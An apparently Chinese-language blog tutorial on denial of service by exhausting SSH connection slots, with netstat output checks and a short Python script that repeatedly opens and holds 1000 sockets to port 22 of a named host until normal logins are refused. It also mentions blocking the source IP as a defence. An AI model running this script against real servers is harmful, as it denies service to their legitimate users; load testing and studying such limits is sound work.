测试 ssh 的最大连接数

大部分的网络程序都有连接数的限制，当连接数超出配置要求后，新的连接将无法接入。这就是所谓的DoS攻击（Denial of Service），如果是多台主机对网络服务发起攻击，就是DDos攻击（Distributed Denial of Service），即分布式DoS攻击。

我们要了解DoS攻击，首先要了解 socket 编程相关的基础。服务端会绑定一个端口等待客户端连接。如果一台客户端主机发起大量的连接请求，就会造成会话数超标，最终会超出服务器的服务能力。

我们以 ssh 服务为例，看看如果超出服务器的 ssh 最大连接数会出现什么后果。以下是 ssh 会话数为10个时的情况，此时还没有达到 ssh 服务的最大连接数：

在服务器上统计会话数：

netstat -anp | grep :22 | grep ESTABLISHED

当前会话数还在正常范围内，我们此时还可以通过 ssh 连接至服务器。如果我们将客户端的连接数加至 1000，此时再观察客户端和服务器两边的统计信息：

客户端在发起 connect() 连接请求后，并没有任何数据交互，而服务器会处于等待状态，当超时后会释放连接。在服务端可以看到后台的会话数并没有达到预期的 1000。统计处于 ESTABLISHED 状态的 ssh 会话数，发现只有100个左右。

当前通过正常的 ssh 客户端已经无法连接到服务器，连接服务器时会报错：

$ ssh -l root it.com
kex_exchange_identification: Connection closed by remote host

通过测试发现 ssh 的默认会话数只能保持在 100 个左右，当发起超过这个数量的连接时，ssh server 会拒绝提供服务。

发起连接的测试程序代码为：

#!python3


import socket
import sys
import time


def max_session(n):
    MAX = n
    SLEEP = 30
    host, port = ('it.com',22)
    port = int(port)


    L = []


    for i in range(MAX):
        s = socket.socket()
        s.connect((host, port))
        L.append(s)
        print(s)
    time.sleep(30)


if __name__ == '__main__':
    while True:
        max_session(1000)

这里通过 sleep() 保持网络会话资源的占用状态，并在 ssh server 主动断开连接前再次发起新的连接请求。之所以最终 ssh 服务被爆掉，是因为断开连接也是需要时间的。当断开连接的速度慢于发起请求的速度，网络服务就会被非正常请求影响。防御手段也很简单，就是封掉发起攻击的IP，让对方无法发起连接请求。

通过模拟大量会话请求的情况，我们可以测试网络服务的性能瓶颈，以及当出现最坏情况时服务器的具体表现。

全文完。

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